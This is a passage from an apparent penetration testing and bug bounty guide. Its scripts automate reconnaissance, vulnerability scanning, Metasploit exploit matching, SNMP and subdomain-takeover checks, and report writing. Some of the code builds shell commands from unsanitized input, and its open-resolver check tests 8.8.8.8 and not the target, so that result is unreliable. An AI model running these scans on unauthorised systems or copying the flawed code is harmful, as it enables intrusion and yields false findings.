recon_checklist(target):\n    \"\"\"Execute reconnaissance checklist\"\"\"\n    import subprocess\n    \n    checks = [\n        {\n            'name': 'DNS Enumeration',\n            'command': f'dnsrecon -d {target} -t std,brt'\n        },\n        {\n            'name': 'Subdomain Discovery',\n            'command': f'subfinder -d {target} -all'\n        },\n        {\n            'name': 'Port Scanning',\n            'command': f'nmap -sS -sV -p- {target}'\n        },\n        {\n            'name': 'Technology Detection',\n            'command': f'whatweb {target}'\n        },\n        {\n            'name': 'SSL/TLS Analysis',\n            'command': f'sslscan {target}'\n        },\n        {\n            'name': 'Cloud Enumeration',\n            'command': f'cloud_enum -k {target}'\n        }\n    ]\n    \n    results = {}\n    for check in checks:\n        print(f\"[*] Running: {check['name']}\")\n        try:\n            output = subprocess.check_output(check['command'], shell=True, text=True)\n            results[check['name']] = output\n            print(f\"[+] Completed: {check['name']}\")\n        except subprocess.CalledProcessError as e:\n            print(f\"[-] Failed: {check['name']}\")\n            results[check['name']] = str(e)\n    \n    return results\n```\n\n### Phase 3: Vulnerability Assessment\n\n**Vulnerability Scanning:**\n```python\ndef vulnerability_scan(targets):\n    \"\"\"Automated vulnerability scanning\"\"\"\n    import nmap\n    import json\n    \n    nm = nmap.PortScanner()\n    results = {}\n    \n    for target in targets:\n        print(f\"[*] Scanning {target}\")\n        \n        # Run various scans\n        scans = {\n            'quick': '-sS -sV -T4 -F',\n            'full': '-sS -sV -p-',\n            'vuln': '--script vuln',\n            'safe': '--script safe'\n        }\n        \n        target_results = {}\n        for scan_name, scan_args in scans.items():\n            print(f\"  [*] Running {scan_name} scan\")\n            try:\n                nm.scan(target, arguments=scan_args)\n                target_results[scan_name] = nm[target]\n            except Exception as e:\n                print(f\"  [-] Error: {e}\")\n        \n        results[target] = target_results\n    \n    return results\n```\n\n### Phase 4: Exploitation\n\n**Exploitation Workflow:**\n```python\ndef exploitation_flow(vulnerabilities):\n    \"\"\"Execute exploitation based on findings\"\"\"\n    exploits = []\n    \n    for vuln in vulnerabilities:\n        print(f\"[*] Attempting to exploit: {vuln['name']}\")\n        \n        # Match vulnerability to exploit\n        if 'MS17-010' in vuln['name'] or 'EternalBlue' in vuln['name']:\n            exploit = {\n                'module': 'exploit/windows/smb/ms17_010_eternalblue',\n                'target': vuln['host'],\n                'port': 445\n            }\n            exploits.append(exploit)\n            \n        elif 'SMB signing disabled' in vuln['description']:\n            exploit = {\n                'type': 'relay',\n                'target': vuln['host'],\n                'technique': 'SMB relay'\n            }\n            exploits.append(exploit)\n            \n        elif 'default credentials' in vuln['description'].lower():\n            exploit = {\n                'type': 'bruteforce',\n                'target': vuln['host'],\n                'service': vuln['service']\n            }\n            exploits.append(exploit)\n    \n    return exploits\n```\n\n## 8.2 Professional Reporting\n\n### Finding Documentation Template\n\n**Comprehensive Finding Template:**\n```python\ndef create_finding_template():\n    \"\"\"Create structured finding template\"\"\"\n    finding = {\n        'finding_id': 'NET-2024-001',\n        'title': 'Default SNMP Community String Enabled',\n        'severity': 'High',\n        'cvss_score': 7.5,\n        'cvss_vector': 'CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N',\n        \n        'affected_assets': [\n            {\n                'host': '192.168.1.10',\n                'hostname': 'core-sw-01.internal',\n                'port': 161,\n                'service': 'SNMP'\n            }\n        ],\n        \n        'description': '''The target device has SNMP configured with the default \n        community string \"public\". SNMP provides extensive information about device \n        configuration, running processes, network connections, and system details. \n        An attacker with network access can enumerate this information to aid in \n        further attacks.''',\n        \n        'proof_of_concept': '''```\n        $ snmpwalk -v2c -c public 192.168.1.10 1.3.6.1.2.1.1\n        SNMPv2-MIB::sysDescr.0 = STRING: Cisco IOS Software, C2960 Software\n        \n        $ snmpwalk -v2c -c public 192.168.1.10 1.3.6.1.2.1.2  # Network interfaces\n        $ snmpwalk -v2c -c public 192.168.1.10 1.3.6.1.2.1.4  # IP information\n        $ snmpwalk -v2c -c public 192.168.1.10 1.3.6.1.2.1.6  # TCP connections\n        ```''',\n        \n        'impact': '''Successful exploitation allows an attacker to:\n        1. Map network topology and connected devices\n        2. Identify running services and open ports\n        3. Extract configuration information\n        4. Potentially modify configuration if write community also default\n        5. Use information for targeted attacks''',\n        \n        'remediation': '''Immediate:\n        1. Change SNMP community strings from defaults to complex, unique values\n        2. Restrict SNMP access to authorized management hosts via ACLs\n        \n        Short-term:\n        3. Use SNMPv3 with authentication and encryption where supported\n        4. Implement network segmentation for management traffic\n        \n        Long-term:\n        5. Disable SNMP if not required\n        6. Implement centralized logging and monitoring for SNMP access''',\n        \n        'references': [\n            'CWE-16: Configuration',\n            'CVE-1999-0517 (SNMP default community)',\n            'https://tools.ietf.org/html/rfc3411 (SNMPv3)'\n        ],\n        \n        'remediation_complexity': 'Medium',\n        'remediation_time': '1 hour',\n        'remediation_verification': 'Verify SNMP community strings and access lists'\n    }\n    \n    return finding\n```\n\n### Executive Summary Template\n\n**Executive Summary:**\n```python\ndef create_executive_summary(findings):\n    \"\"\"Create executive summary from findings\"\"\"\n    summary = {\n        'engagement_overview': {\n            'client': 'Target Corporation',\n            'date': 'January 2024',\n            'testers': ['John Doe', 'Jane Smith'],\n            'scope': 'External network and web application assessment'\n        },\n        \n        'risk_summary': {\n            'critical': len([f for f in findings if f['severity'] == 'Critical']),\n            'high': len([f for f in findings if f['severity'] == 'High']),\n            'medium': len([f for f in findings if f['severity'] == 'Medium']),\n            'low': len([f for f in findings if f['severity'] == 'Low']),\n            'info': len([f for f in findings if f['severity'] == 'Info'])\n        },\n        \n        'key_findings': [\n            {\n                'title': 'Exposed Administrative Interfaces',\n                'severity': 'Critical',\n                'summary': 'Multiple network devices have administrative interfaces exposed to the internet',\n                'impact': 'Attackers can attempt to gain unauthorized access to critical infrastructure'\n            },\n            {\n                'title': 'Default SNMP Communities',\n                'severity': 'High',\n                'summary': 'SNMP configured with default \"public\" community on core switches',\n                'impact': 'Network topology and device information exposed'\n            }\n        ],\n        \n        'executive_recommendations': [\n            'Implement network segmentation to restrict access to management interfaces',\n            'Change all default credentials and community strings',\n            'Enable logging and monitoring for suspicious network activity',\n            'Develop and implement a patch management process',\n            'Conduct regular security awareness training'\n        ],\n        \n        'business_impact': '''The identified vulnerabilities pose a significant risk \n        to the organization's security posture. An attacker could leverage these \n        weaknesses to gain unauthorized access to internal systems, potentially \n        leading to data breach, service disruption, or financial loss. Immediate \n        remediation of critical and high-risk findings is recommended to reduce \n        the attack surface.''',\n        \n        'next_steps': [\n            'Remediate critical and high-risk findings within 30 days',\n            'Schedule remediation verification testing',\n            'Update security policies and procedures',\n            'Consider additional security controls where needed'\n        ]\n    }\n    \n    return summary\n```\n\n## 8.3 Tools of the Trade\n\n### Essential Network Testing Tools\n\n**Tool Categories and Usage:**\n```python\ntools = {\n    'reconnaissance': {\n        'nmap': 'Port scanning, service detection, OS fingerprinting',\n        'masscan': 'High-speed port scanning',\n        'rustscan': 'Fast port scanner with scripting',\n        'amass': 'DNS enumeration and asset discovery',\n        'theHarvester': 'Email and subdomain harvesting',\n        'shodan': 'Internet-connected device search',\n        'censys': 'Attack surface discovery',\n        'dnsrecon': 'DNS enumeration',\n        'gobuster': 'Directory and DNS brute forcing',\n        'ffuf': 'Fast web fuzzing'\n    },\n    \n    'traffic_analysis': {\n        'wireshark': 'Packet capture and analysis',\n        'tshark': 'Command-line packet analysis',\n        'tcpdump': 'Command-line packet capture',\n        'scapy': 'Packet manipulation library',\n        'zeek': 'Network security monitoring',\n        'ngrep': 'Network grep',\n        'tcpflow': 'TCP stream reassembly'\n    },\n    \n    'exploitation': {\n        'metasploit': 'Exploitation framework',\n        'beef': 'Browser exploitation framework',\n        'bettercap': 'MITM and network attacks',\n        'ettercap': 'Comprehensive MITM suite',\n        'responder': 'LLMNR/NBT-NS poisoning',\n        'crackmapexec': 'Post-exploitation toolkit',\n        'impacket': 'Network protocol manipulation',\n        'yersinia': 'Layer 2 attacks'\n    },\n    \n    'web_application': {\n        'burp_suite': 'Web proxy and testing tools',\n        'owasp_zap': 'Web application scanner',\n        'sqlmap': 'Automated SQL injection',\n        'nikto': 'Web server scanner',\n        'wpscan': 'WordPress vulnerability scanner',\n        'droopescan': 'CMS vulnerability scanner',\n        'wfuzz': 'Web fuzzer',\n        'dirb': 'Directory brute forcer'\n    },\n    \n    'wireless': {\n        'aircrack-ng': 'Wireless security tools',\n        'kismet': 'Wireless network detector',\n        'wifite': 'Automated wireless auditing',\n        'reaver': 'WPS attack tool',\n        'mdk4': 'Wireless attack tool',\n        'hcxdumptool': 'Capture WPA handshakes'\n    },\n    \n    'cloud': {\n        'scoutsuite': 'Multi-cloud security auditing',\n        'prowler': 'AWS security tool',\n        'cloudsploit': 'Cloud security scanning',\n        'gcp_scanner': 'GCP enumeration',\n        'azure_scan': 'Azure security scanning'\n    },\n    \n    'containers': {\n        'kube-hunter': 'Kubernetes security testing',\n        'kube-bench': 'Kubernetes CIS benchmark',\n        'docker-bench-security': 'Docker security assessment',\n        'trivy': 'Container vulnerability scanner',\n        'grype': 'Container vulnerability scanner'\n    }\n}\n```\n\n### Custom Script Development\n\n**Automation Framework:**\n```python\n#!/usr/bin/env python3\n\"\"\"\nCustom network penetration testing framework\n\"\"\"\nimport argparse\nimport logging\nimport json\nimport os\nimport subprocess\nfrom datetime import datetime\n\nclass PenTestFramework:\n    def __init__(self, target, output_dir):\n        self.target = target\n        self.output_dir = output_dir\n        self.timestamp = datetime.now().strftime(\"%Y%m%d_%H%M%S\")\n        self.results = {}\n        \n        # Setup logging\n        logging.basicConfig(\n            level=logging.INFO,\n            format='%(asctime)s - %(levelname)s - %(message)s',\n            handlers=[\n                logging.FileHandler(f\"{output_dir}/pentest_{self.timestamp}.log\"),\n                logging.StreamHandler()\n            ]\n        )\n        self.log = logging.getLogger(__name__)\n        \n        # Create output directory\n        os.makedirs(output_dir, exist_ok=True)\n    \n    def run_command(self, command, description):\n        \"\"\"Run system command and log output\"\"\"\n        self.log.info(f\"Running: {description}\")\n        self.log.debug(f\"Command: {command}\")\n        \n        try:\n            result = subprocess.run(\n                command,\n                shell=True,\n                capture_output=True,\n                text=True,\n                timeout=3600\n            )\n            \n            if result.returncode == 0:\n                self.log.info(f\"Success: {description}\")\n                return result.stdout\n            else:\n                self.log.error(f\"Failed: {description}\")\n                self.log.error(result.stderr)\n                return None\n                \n        except subprocess.TimeoutExpired:\n            self.log.error(f\"Timeout: {description}\")\n            return None\n    \n    def recon_phase(self):\n        \"\"\"Execute reconnaissance phase\"\"\"\n        self.log.info(\"=== Starting Reconnaissance Phase ===\")\n        \n        # DNS enumeration\n        self.results['dns'] = self.run_command(\n            f\"dnsrecon -d {self.target} -t std,brt -o {self.output_dir}/dns_{self.timestamp}.xml\",\n            \"DNS enumeration\"\n        )\n        \n        # Subdomain discovery\n        self.results['subdomains'] = self.run_command(\n            f\"subfinder -d {self.target} -all -o {self.output_dir}/subdomains_{self.timestamp}.txt\",\n            \"Subdomain discovery\"\n        )\n        \n        # Port scanning\n        self.results['port_scan'] = self.run_command(\n            f\"nmap -sS -sV -p- -T4 -oA {self.output_dir}/nmap_{self.timestamp} {self.target}\",\n            \"Full port scan\"\n        )\n        \n        self.log.info(\"Reconnaissance phase complete\")\n    \n    def vulnerability_phase(self):\n        \"\"\"Execute vulnerability assessment phase\"\"\"\n        self.log.info(\"=== Starting Vulnerability Assessment Phase ===\")\n        \n        # Vulnerability scan\n        self.results['vuln_scan'] = self.run_command(\n            f\"nmap -sS -sV --script vuln -oA {self.output_dir}/vuln_{self.timestamp} {self.target}\",\n            \"Vulnerability scan\"\n        )\n        \n        # Web application scan\n        self.results['web_scan'] = self.run_command(\n            f\"nikto -h {self.target} -o {self.output_dir}/nikto_{self.timestamp}.txt\",\n            \"Web server scan\"\n        )\n        \n        self.log.info(\"Vulnerability assessment phase complete\")\n    \n    def exploitation_phase(self):\n        \"\"\"Execute exploitation phase\"\"\"\n        self.log.info(\"=== Starting Exploitation Phase ===\")\n        \n        # Check for common vulnerabilities\n        checks = [\n            (\"SNMP default community\", f\"snmpwalk -v2c -c public {self.target} system\"),\n            (\"Anonymous FTP\", f\"nmap --script ftp-anon -p 21 {self.target}\"),\n            (\"SSL/TLS issues\", f\"sslscan {self.target}\"),\n        ]\n        \n        self.results['exploitation'] = []\n        for desc, cmd in checks:\n            result = self.run_command(cmd, desc)\n            if result and \"ERROR\" not in result:\n                self.results['exploitation'].append({\n                    'check': desc,\n                    'result': result[:500]  # First 500 chars\n                })\n        \n        self.log.info(\"Exploitation phase complete\")\n    \n    def generate_report(self):\n        \"\"\"Generate penetration testing report\"\"\"\n        self.log.info(\"=== Generating Report ===\")\n        \n        report = {\n            'target': self.target,\n            'timestamp': self.timestamp,\n            'results': self.results,\n            'summary': {\n                'phases_completed': list(self.results.keys()),\n                'findings_count': sum(len(v) if isinstance(v, list) else 1 \n                                     for v in self.results.values())\n            }\n        }\n        \n        # Save JSON report\n        report_file = f\"{self.output_dir}/report_{self.timestamp}.json\"\n        with open(report_file, 'w') as f:\n            json.dump(report, f, indent=2)\n        \n        self.log.info(f\"Report saved to {report_file}\")\n        \n        # Generate HTML report\n        self.generate_html_report(report)\n    \n    def generate_html_report(self, report):\n        \"\"\"Generate HTML report from results\"\"\"\n        html = f\"\"\"\n        \n        \n        \n            Penetration Test Report - {self.target}\n            \n                body {{ font-family: Arial, sans-serif; margin: 20px; }}\n                h1 {{ color: #333; }}\n                h2 {{ color: #666; }}\n                .section {{ margin: 20px 0; padding: 10px; border: 1px solid #ddd; }}\n                .success {{ color: green; }}\n                .error {{ color: red; }}\n                pre {{ background: #f4f4f4; padding: 10px; overflow-x: auto; }}\n            \n        \n        \n            \nPenetration Test Report\n            \nTarget: {self.target}\n            \nDate: {self.timestamp}\n            \n            \n\n                \nExecutive Summary\n                \nTotal findings: {report['summary']['findings_count']}\n                \nPhases completed: {', '.join(report['summary']['phases_completed'])}\n            \n        \"\"\"\n        \n        # Add results sections\n        for phase, data in report['results'].items():\n            html += f\"\"\"\n            \n\n                \n{phase.upper()}\n                \n{str(data)[:1000]}\n            \n            \"\"\"\n        \n        html += \"\"\"\n        \n        \n        \"\"\"\n        \n        html_file = f\"{self.output_dir}/report_{self.timestamp}.html\"\n        with open(html_file, 'w') as f:\n            f.write(html)\n        \n        self.log.info(f\"HTML report saved to {html_file}\")\n    \n    def run(self):\n        \"\"\"Execute full penetration test\"\"\"\n        self.log.info(f\"=== Starting Penetration Test for {self.target} ===\")\n        \n        self.recon_phase()\n        self.vulnerability_phase()\n        self.exploitation_phase()\n        self.generate_report()\n        \n        self.log.info(\"=== Penetration Test Complete ===\")\n\ndef main():\n    parser = argparse.ArgumentParser(description=\"Network Penetration Testing Framework\")\n    parser.add_argument(\"target\", help=\"Target IP or domain\")\n    parser.add_argument(\"-o\", \"--output\", default=\"./pentest_results\", help=\"Output directory\")\n    args = parser.parse_args()\n    \n    framework = PenTestFramework(args.target, args.output)\n    framework.run()\n\nif __name__ == \"__main__\":\n    main()\n```\n\n---\n\n# Part 9: Bug Bounty Hunting with Network Focus\n\n## 9.1 Bug Bounty Methodology for Network Issues\n\n### Finding Network-Related Bug Bounty Targets\n\n**Scope Analysis Script:**\n```python\ndef analyze_bugbounty_scope(program_url):\n    \"\"\"Analyze bug bounty program scope\"\"\"\n    import requests\n    from bs4 import BeautifulSoup\n    \n    response = requests.get(program_url)\n    soup = BeautifulSoup(response.text, 'html.parser')\n    \n    scope = {\n        'in_scope': {\n            'domains': [],\n            'ip_ranges': [],\n            'technologies': []\n        },\n        'out_of_scope': {\n            'domains': [],\n            'ip_ranges': []\n        }\n    }\n    \n    # Find scope sections (varies by platform)\n    # This is a simplified example\n    \n    # Look for in-scope patterns\n    in_scope_text = soup.find_all(string=lambda text: text and 'in scope' in text.lower())\n    for text in in_scope_text:\n        # Extract domains and IPs\n        # ... parsing logic ...\n        pass\n    \n    return scope\n```\n\n### High-Value Network Bugs\n\n**DNS Misconfiguration Scanner:**\n```python\ndef scan_dns_misconfigurations(domain):\n    \"\"\"Scan for DNS misconfigurations\"\"\"\n    import dns.resolver\n    import dns.zone\n    \n    findings = []\n    \n    # Test for zone transfer\n    try:\n        ns_servers = dns.resolver.query(domain, 'NS')\n        for ns in ns_servers:\n            ns = str(ns)\n            try:\n                zone = dns.zone.from_xfr(dns.query.xfr(ns, domain))\n                findings.append({\n                    'type': 'zone_transfer',\n                    'severity': 'high',\n                    'details': f'Zone transfer allowed from {ns}'\n                })\n            except:\n                pass\n    except:\n        pass\n    \n    # Check for open resolvers\n    try:\n        resolver = dns.resolver.Resolver()\n        resolver.nameservers = ['8.8.8.8']  # Test resolver\n        \n        # Try recursive query\n        result = resolver.query('google.com', 'A')\n        findings.append({\n            'type': 'open_resolver',\n            'severity': 'medium',\n            'details': 'DNS server allows recursive queries'\n        })\n    except:\n        pass\n    \n    # Check for subdomain takeover\n    subdomains_to_test = ['test', 'dev', 'staging', 'admin']\n    for sub in subdomains_to_test:\n        try:\n            answers = dns.resolver.query(f'{sub}.{domain}', 'CNAME')\n            for cname in answers:\n                target = str(cname.target)\n                # Check if target is available for registration\n                try:\n                    dns.resolver.query(target, 'A')\n                except dns.resolver.NXDOMAIN:\n                    findings.append({\n                        'type': 'subdomain_takeover',\n                        'severity': 'high',\n                        'details': f'{sub}.{domain} points to unregistered domain {target}'\n                    })\n        except:\n            pass\n    \n    return findings\n```\n\n**Cloud Infrastructure Scanner:**\n```python\ndef scan_cloud_exposure(domain):\n    \"\"\"Scan for exposed cloud resources\"\"\"\n    import requests\n    import socket\n    \n    findings = []\n    \n    # Check common cloud services\n    cloud_services = {\n        'aws_s3': f'http://{domain}.s3.amazonaws.com',\n        'aws_s3_alt': f'http://s3.amazonaws.com/{domain}',\n        'aws_cloudfront': f'http://{domain}.cloudfront.net',\n        'azure_blob': f'http://{domain}.blob.core.windows.net',\n        'gcp_storage': f'http://storage.googleapis.com/{domain}',\n        'heroku': f'http://{domain}.herokuapp.com',\n        'github_pages': f'http://{domain}.github.io',\n        'shopify': f'http://{domain}.myshopify.com'\n    }\n    \n    for service, url in cloud_services.items():\n        try:\n            response = requests.get(url, timeout=5)\n            if response.status_code == 200:\n                # Check if it's a valid service or just a placeholder\n                if 'NoSuchBucket' not in response.text:\n                    findings.append({\n                        'type': 'cloud_exposure',\n                        'service': service,\n                        'url': url,\n                        'status': response.status_code\n                    })\n        except:\n            pass\n    \n    return findings\n```\n\n### Writing Network Bug Reports\n\n**Bug Report Template:**\n```python\ndef create_bug_report():\n    \"\"\"Create bug bounty report template\"\"\"\n    report = {\n        'title': 'Subdomain Takeover on admin.target.com',\n        'severity': 'High',\n        'asset': 'admin.target.com (CNAME to expired.herokuapp.com)',\n        \n        'description': '''The subdomain admin.target.com resolves to a CNAME record \n        pointing to expired.herokuapp.com. This domain is available for registration \n        on Heroku. An attacker could register this domain and host malicious content, \n        potentially stealing credentials or serving malware to users.''',\n        \n        'steps_to_reproduce': [\n            'Run DNS enumeration: dig admin.target.com',\n            'Observe CNAME: admin.target.com. 3600 IN CNAME expired.herokuapp.com',\n            'Check if domain is available: host expired.herokuapp.com (returns NXDOMAIN)',\n            'Visit https://www.heroku.com/ to check domain availability',\n            'Proof of concept: Register domain and host test page (available if needed)'\n        ],\n        \n        'proof_of_concept': '''```\n        $ dig admin.target.com\n        \n        ; <<>> DiG 9.16.1-Ubuntu <<>> admin.target.com\n        ;; ANSWER SECTION:\n        admin.target.com. 3600 IN CNAME expired.herokuapp.com.\n        \n        $ host expired.herokuapp.com\n        Host expired.herokuapp.com not found: 3(NXDOMAIN)\n        ```''',\n        \n        'impact': '''- Phishing attacks against target.com users\n        - Credential theft\n        - Malware distribution\n        - Bypassing security controls (cookie scope, CSP)\n        - Reputation damage''',\n        \n        'remediation': '''- Remove dangling DNS records\n        - Regularly audit DNS records for dead links\n        - Implement domain ownership verification\n        - Use monitoring for DNS changes''',\n        \n        'references': [\n            'https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management_Testing/10-Test_for_Subdomain_Takeover',\n            'https://github.com/EdOverflow/can-i-take-over-xyz'\n        ]\n    }\n    \n    return report\n```\n\n## 9.2 Advanced Bug Bounty Techniques\n\n### Automated Reconnaissance Pipeline\n\n**Continuous Recon Script:**\n```python\n#!/bin/bash\n# recon.sh - Automated reconnaissance for bug bounty\n\nTARGET=$1\nmkdir -p $TARGET/{dns,ports,web,screenshots,reports}\n\necho \"[*] Starting reconnaissance for $TARGET\"\n\n# DNS Enumeration\necho \"[*] DNS Enumeration\"\nsubfinder -d $TARGET -all -o $TARGET/dns/subfinder.txt\namass enum -d $TARGET -o $TARGET/dns/amass.txt\ncat $TARGET/dns/*.txt | sort -u > $TARGET/dns/all_subs.txt\n\n# Resolve subdomains\necho \"[*] Resolving subdomains\"\npuredns resolve $TARGET/dns/all_subs.txt -r resolvers.txt -w $TARGET/dns/resolved.txt\n\n# Port scanning\necho \"[*] Port scanning\"\nnaabu -list $TARGET/dns/resolved.txt -top-ports 1000 -o $TARGET/ports/naabu.txt\n\n# HTTP probing\necho \"[*] HTTP probing\"\nhttpx -l $TARGET/dns/resolved.txt -title -status-code -tech-detect -o $TARGET/web/httpx.txt\n\n# Screenshot websites\necho \"[*] Taking screenshots\"\ngowitness file -f $TARGET/web/httpx.txt --destination $TARGET/screenshots/\n\n# Nuclei scanning\necho \"[*] Vulnerability scanning\"\nnuclei -l $TARGET/dns/resolved.txt -t cves/ -t misconfiguration/ -o $TARGET/reports/nuclei.txt\n\n# Generate report\necho \"[*] Generating report\"\necho \"Reconnaissance complete for $TARGET\" > $TARGET/reports/summary.txt\necho \"Subdomains found: $(wc -l < $TARGET/dns/all_subs.txt)\" >> $TARGET/reports/summary.txt\necho \"Live hosts: $(wc -l < $TARGET/dns/resolved.txt)\" >> $TARGET/reports/summary.txt\necho \"Open ports: $(cat $TARGET/ports/naabu.txt | wc -l)\" >> $TARGET/reports/summary.txt\necho \"Vulnerabilities found: $(grep -c \"\\[\" $TARGET/reports/nuclei.txt)\" >> $TARGET/reports/summary.txt\n\necho \"[+] Reconnaissance complete!\"\n```\n\n### Chaining Vulnerabilities\n\n**SSRF to RCE Chain:**\n```python\ndef ssrf_to_rce_chain(target_url):\n    \"\"\"Chain SSRF to RCE through internal services\"\"\"\n    import requests\n    \n    # Step 1: Find SSRF endpoint\n    ssrf_endpoints = find_ssrf_endpoints(target_url)\n    \n    for endpoint in ssrf_endpoints:\n        # Step 2: Scan internal network\n        internal_hosts = scan_internal_via_ssrf(endpoint)\n        \n        for host in internal_hosts:\n            # Step 3: Check for vulnerable services\n            if host['port'] == 6379:  # Redis\n                # Step 4: Exploit Redis via SSRF\n                exploit_redis_ssrf(endpoint, host)\n                \n            elif host['port'] == 9200:  # Elasticsearch\n                # Step 4: Exploit Elasticsearch\n                exploit_elasticsearch_ssrf(endpoint, host)\n                \n            elif host['port'] == 3306:  # MySQL\n                # Step 4: Attempt MySQL exploitation\n                exploit_mysql_ssrf(endpoint, host)\n```\n\n## 9.3 Ethics and Legal Considerations\n\n### Responsible Disclosure\n\n**Disclosure Process:**\n```python\ndef responsible_disclosure(finding, vendor_contact):\n    \"\"\"Handle responsible disclosure process\"\"\"\n    \n    steps = [\n        {\n            'step': 1,\n            'action': 'Verify finding is valid and not already known',\n            'checklist': [\n                'Test in isolated environment',\n                'Check public vulnerability databases',\n                'Ensure no data exfiltration beyond PoC'\n            ]\n        },\n        {\n            'step': 2,\n            'action': 'Contact vendor through official channels',\n            'checklist': [\n                'Use security@ or bug bounty program',\n                'Provide clear, actionable report',\n                'Include proof of concept without damage',\n                'Offer reasonable timeline for response'\n            ]\n        },\n        {\n            'step': 3,\n            'action': 'Allow time for remediation',\n            'checklist': [\n                'Typical timeline: 30-90 days',\n                'Be responsive to vendor questions',\n                'Offer clarification and assistance'\n            ]\n        },\n        {\n            'step': 4,\n            'action': 'Coordinate disclosure',\n            'checklist': [\n                'Agree on disclosure date',\n                'Provide draft of public disclosure',\n                'Credit researchers appropriately',\n                'Include remediation information'\n            ]\n        }\n    ]\n    \n    return steps\n```\n\n---\n\n# Part 10: Continuous Learning and Skill Development\n\n## 10.1 Certifications and Training Paths\n\n### Certification Roadmap\n\n**Certification Paths:**\n```python\ndef certification_roadmap():\n    \"\"\"Map out certification progression\"\"\"\n    \n    certifications = {\n        'foundational': [\n            {\n                'name': 'CompTIA Network+',\n                'focus': 'Networking fundamentals',\n                'difficulty': 'Beginner',\n                'time': '2-3 months'\n            },\n            {\n                'name': 'CompTIA Security+',\n                'focus': 'Security fundamentals',\n                'difficulty': 'Beginner',\n                'time': '2-3 months'\n            },\n            {\n                'name': 'Cisco CCNA',\n                'focus': 'Network engineering',\n                'difficulty': 'Intermediate',\n                'time': '4-6 months'\n            }\n        ],\n        \n        'penetration_testing': [\n            {\n                'name': 'eLearnSecurity eJPT',\n                'focus': 'Junior penetration testing',\n                'difficulty': 'Beginner-Intermediate',\n                'time': '2-3 months',\n                'hands_on': True\n            },\n            {\n                'name': 'OSCP (Offensive Security Certified Professional)',\n                'focus': 'Penetration testing',\n                'difficulty': 'Intermediate',\n                'time': '3-6 months',\n                'hands_on': True\n            },\n            {\n                'name': 'PNPT (Practical Network Penetration Tester)',\n                'focus': 'Network penetration testing',\n                'difficulty': 'Intermediate',\n                'time': '3-4 months',\n                'hands_on': True\n            },\n            {\n                'name': 'GPEN (GIAC Penetration Tester)',\n                'focus': 'Penetration testing methodology',\n                'difficulty': 'Intermediate',\n                'time': '4-6 months'\n            }\n        ],\n        \n        'advanced': [\n            {\n                'name': 'OSCE (Offensive Security Certified Expert)',\n                'focus': 'Advanced exploitation',\n                'difficulty': 'Advanced',\n                'time': '6-12 months',\n                'hands_on': True\n            },\n            {\n                'name': 'GXPN (GIAC Exploit Researcher)',\n                'focus': 'Advanced exploitation',\n                'difficulty': 'Advanced',\n                'time': '6-12 months'\n            },\n            {\n                'name': 'OSED (Offensive Security Exploit Developer)',\n                'focus': 'Windows exploit development',\n                'difficulty': 'Advanced',\n                'time': '6-12 months',\n                'hands_on': True\n            },\n            {\n                'name': 'OSEP (Offensive Security Experienced Penetration Tester)',\n                'focus': 'Advanced penetration testing',\n                'difficulty': 'Advanced',\n                'time': '6-12 months',\n                'hands_on': True\n            }\n        ],\n        \n        'specialized': [\n            {\n                'name': 'AWS Certified Security - Specialty',\n                'focus': 'Cloud security',\n                'difficulty': 'Intermediate-Advanced',\n                'time': '3-6 months'\n            },\n            {\n                'name': 'Certified Kubernetes Security Specialist',\n                'focus': 'Container security',\n                'difficulty': 'Intermediate-Advanced',\n                'time': '3-6 months'\n            },\n            {\n                'name': 'Cisco CCNP Security',\n                'focus': 'Network security',\n                'difficulty': 'Advanced',\n                'time': '6-12 months'\n            }\n        ]\n    }\n    \n    return certifications\n```\n\n## 10.2 Practice Environments\n\n### Lab Setup Guide\n\n**Comprehensive Lab Setup:**\n```python\ndef setup_pentest_lab():\n    \"\"\"Guide to setting up penetration testing lab\"\"\"\n    \n    lab_components = {\n        'virtualization': {\n            'software': [\n                'VMware Workstation/Player',\n                'VirtualBox',\n                'Proxmox VE',\n                'ESXi'\n            ],\n            'requirements': '16-32GB RAM, 200GB+ storage, modern CPU with VT-x/AMD-V'\n        },\n        \n        'attack_platforms': [\n            {\n                'name': 'Kali Linux',\n                'purpose': 'Primary attack OS',\n                'resources': '4GB RAM, 40GB storage'\n            },\n            {\n                'name': 'Parrot OS',\n                'purpose': 'Alternative attack OS',\n                'resources': '4GB RAM, 40GB storage'\n            },\n            {\n                'name': 'BlackArch',\n                'purpose': 'Arch-based penetration testing',\n                'resources': '4GB RAM, 40GB storage'\n            },\n            {\n                'name': 'Commando VM',\n                'purpose': 'Windows attack platform',\n                'resources': '8GB RAM, 80GB storage'\n            }\n        ],\n        \n        'target_vms': [\n            {\n                'name': 'Metasploitable 2',\n                'purpose': 'Linux vulnerable target',\n                'resources': '512MB RAM, 8GB storage',\n                'difficulty': 'Beginner'\n            },\n            {\n                'name': 'Metasploitable 3',\n                'purpose': 'Windows/Linux vulnerable target',\n                'resources': '2GB RAM, 20GB storage',\n                'difficulty': 'Intermediate'\n            },\n            {\n                'name': 'DVWA (Damn Vulnerable Web Application)',\n                'purpose': 'Web application training',\n                'resources': '1GB RAM, 10GB storage',\n                'difficulty': 'Beginner'\n            },\n            {\n                'name': 'WebGoat',\n                'purpose': 'Web application training',\n                'resources': '2GB RAM, 10GB storage',\n                'difficulty': 'Beginner-Intermediate'\n            },\n            {\n                'name': 'VulnHub machines',\n                'purpose': 'Various vulnerable VMs',\n                'resources': 'Varies',\n                'difficulty': 'Varies'\n            },\n            {\n                'name': 'HackTheBox machines',\n                'purpose': 'Online vulnerable machines',\n                'resources': 'VPN connection required',\n                'difficulty': 'Varies'\n            }\n        ],\n        \n        'network_devices': [\n            {\n                'name': 'pfSense',\n                'purpose': 'Firewall/router',\n                'resources': '1GB RAM, 8GB storage'\n            },\n            {\n                'name': 'GNS3',\n                'purpose': 'Network device emulation',\n                'resources': '8GB+ RAM for complex topologies'\n            },\n            {\n                'name': 'EVE-NG',\n                'purpose': 'Network emulation',\n                'resources': '8GB+ RAM, 100GB+ storage'\n            },\n            {\n                'name': 'Cisco IOS images',\n                'purpose': 'Router/switch emulation',\n                'resources': 'Included in GNS3/EVE-NG'\n            }\n        ],\n        \n        'network_configuration': {\n            'host_only': 'Isolated network for safe testing',\n            'nat': 'Internet access for updates',\n            'internal': 'Multiple isolated networks',\n            'custom_topologies': 'Create complex enterprise networks'\n        },\n        \n        'sample_topology': '''\n        Internet\n           |\n        [pfSense Firewall]\n           |\n        [DMZ Network]    [Internal 